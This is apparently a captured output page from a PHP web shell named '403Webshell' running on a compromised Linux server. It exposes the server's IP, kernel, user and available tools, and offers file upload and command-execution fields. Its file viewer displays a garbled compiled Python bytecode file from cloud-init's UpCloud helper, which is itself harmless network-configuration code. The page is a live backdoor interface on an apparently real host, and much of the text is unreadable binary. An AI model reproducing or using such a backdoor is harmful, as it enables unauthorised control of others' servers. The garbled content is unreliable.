403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/upcloud.cpython-314.pyc
+
��i���z�^RIt^RIt^RIHt^RIHt^RIHt]P!]4t	Rt
RtR	RltRt
R#)
�N)�dmi)�net)�
url_helperc
�0�Rp.p\P!4p\PRV4VP	R4F�p\PRV4VP	R4pWS9d\RV:RV:24hVP	R4pVP	V4p\PR	VVVVP	R
44RRRVR
V/p.p	VP	R4F+p
V!W�P	R44pV	P
V4K-	W�R&VP
V4K�	VP	R4'dJ\PRVP	R44VP
RRRVP	R4/4R^RV/#)a�
Convert the UpCloud network metadata description into
Cloud-init's version 1 netconfig format.

Example JSON:
{
  "interfaces": [
    {
      "index": 1,
      "ip_addresses": [
        {
          "address": "94.237.105.53",
          "dhcp": true,
          "dns": [
            "94.237.127.9",
            "94.237.40.9"
          ],
          "family": "IPv4",
          "floating": false,
          "gateway": "94.237.104.1",
          "network": "94.237.104.0/22"
        },
        {
          "address": "94.237.105.50",
          "dhcp": false,
          "dns": [],
          "family": "IPv4",
          "floating": true,
          "gateway": "",
          "network": "94.237.105.50/32"
        }
      ],
      "mac": "32:d5:ba:4a:36:e7",
      "network_id": "031457f4-0f8c-483c-96f2-eccede02909c",
      "type": "public"
    },
    {
      "index": 2,
      "ip_addresses": [
        {
          "address": "10.6.3.27",
          "dhcp": true,
          "dns": [],
          "family": "IPv4",
          "floating": false,
          "gateway": "10.6.0.1",
          "network": "10.6.0.0/22"
        }
      ],
      "mac": "32:d5:ba:4a:84:cc",
      "network_id": "03d82553-5bea-4132-b29a-e1cf67ec2dd1",
      "type": "utility"
    },
    {
      "index": 3,
      "ip_addresses": [
        {
          "address": "2a04:3545:1000:720:38d6:baff:fe4a:63e7",
          "dhcp": true,
          "dns": [
            "2a04:3540:53::1",
            "2a04:3544:53::1"
          ],
          "family": "IPv6",
          "floating": false,
          "gateway": "2a04:3545:1000:720::1",
          "network": "2a04:3545:1000:720::/64"
        }
      ],
      "mac": "32:d5:ba:4a:63:e7",
      "network_id": "03000000-0000-4000-8046-000000000000",
      "type": "public"
    },
    {
      "index": 4,
      "ip_addresses": [
        {
          "address": "172.30.1.10",
          "dhcp": true,
          "dns": [],
          "family": "IPv4",
          "floating": false,
          "gateway": "172.30.1.1",
          "network": "172.30.1.0/24"
        }
      ],
      "mac": "32:d5:ba:4a:8a:e1",
      "network_id": "035a0a4a-77b4-4de5-820d-189fc8135714",
      "type": "private"
    }
  ],
  "dns": [
    "94.237.127.9",
    "94.237.40.9"
  ]
}
c�(�VPR4'dRpVPR4R8XdRpRV/#RpVPR4R8XdRpRVRRR	VPR	4/pVPR
4'dVPR
4VR
&RVPR49d+VPR4PR4^,VR
&WPR48wd,VPR4'dVPR4VR&V#)�dhcp�family�IPv6zipv6_dhcpv6-stateless�type�static�static6�control�auto�address�gateway�/�network�netmask�dns�dns_nameservers)�get�split)�ip_addrr�	dhcp_type�static_type�subparts&&   �C/usr/lib/python3/dist-packages/cloudinit/sources/helpers/upcloud.py�_get_subnet_config�8convert_to_network_config_v1.<locals>._get_subnet_configrs���;�;�v����I��{�{�8�$��.�4�	��I�&�&����;�;�x� �F�*�#�K��K��v��w�{�{�9�-�
���;�;�y�!�!�!(���Y�!7�G�I���'�+�+�i�(�(�!(���Y�!7�!=�!=�c�!B�1�!E�G�I���+�+�e�$�$����U�);�);�)0���U�);�G�%�&���zNIC mapping: %s�
interfaceszConsidering %s�macz3Did not find network interface on system with mac 'z'. Cannot apply configuration: rz4Found %s interface '%s' with address '%s' (index %d)�index�physical�name�mac_address�ip_addressesr�subnetszSetting DNS nameservers to %s�
nameserverr�version�config)�cloudnet�get_interfaces_by_mac�LOG�debugr�RuntimeError�append)r+r�nic_configs�macs_to_interfaces�	raw_ifacer&�
iface_type�
sysfs_name�	interfacer(�
ip_address�sub_parts&           r�convert_to_network_config_v1r:s���F�:�K�!�7�7�9���I�I��!3�4��Z�Z��-�	��	�	�"�I�.��m�m�E�*���0���	�+��
��]�]�6�*�
�'�+�+�K�8�
��	�	�B�����M�M�'�"�	
�
�J��J��;�
�	���#�-�-��7�J�)�*�j�j��6G�H�H��N�N�8�$�8� '�)�����9�%�E.�H�z�z�%����	�	�1�6�:�:�e�3D�E����
�\�9�f�j�j��.?�@�	
�
�q�(�K�0�0r c��\V4#)N)r:)r+s&r�convert_network_configr<�s
��'��/�/r c���\P!WW#R7pVP4'g\RV,4h\P
!VPP44#))�timeout�sec_between�retrieszunable to read metadata at %s)r�readurl�okr0�json�loads�contents�decode)�urlr>r?r@�responses&&&& r�
read_metadatarI�sS���!�!��+��H��;�;�=�=��:�S�@�A�A��:�:�h�'�'�.�.�0�1�1r c���\P!R4pVR8wdR#\P!R4pV'd\PRV4RV3#Rp\P	V4\V4h)zsystem-manufacturer�UpCloudzsystem-uuidz2system identified via SMBIOS as UpCloud server: %sz�system identified via SMBIOS as a UpCloud server, but did not provide an ID. Please contact support viahttps://hub.upcloud.com or via email with support@upcloud.comT)FN)r�
read_dmi_datar.r/�criticalr0)�vendor_name�server_uuid�msgs   r�read_sysinforQ�sx���#�#�$9�:�K��i�����#�#�M�2�K���	�	�@�+�	
�����
L�	�
	���S���3��r )�rR�)rC�logging�	cloudinitrrr,r�	getLogger�__name__r.r:r<rIrQ�r r�<module>rYs<��
���%� �
����!��n1�b0�2�r 

Youez - 2016 - github.com/yon3zu
LinuXploit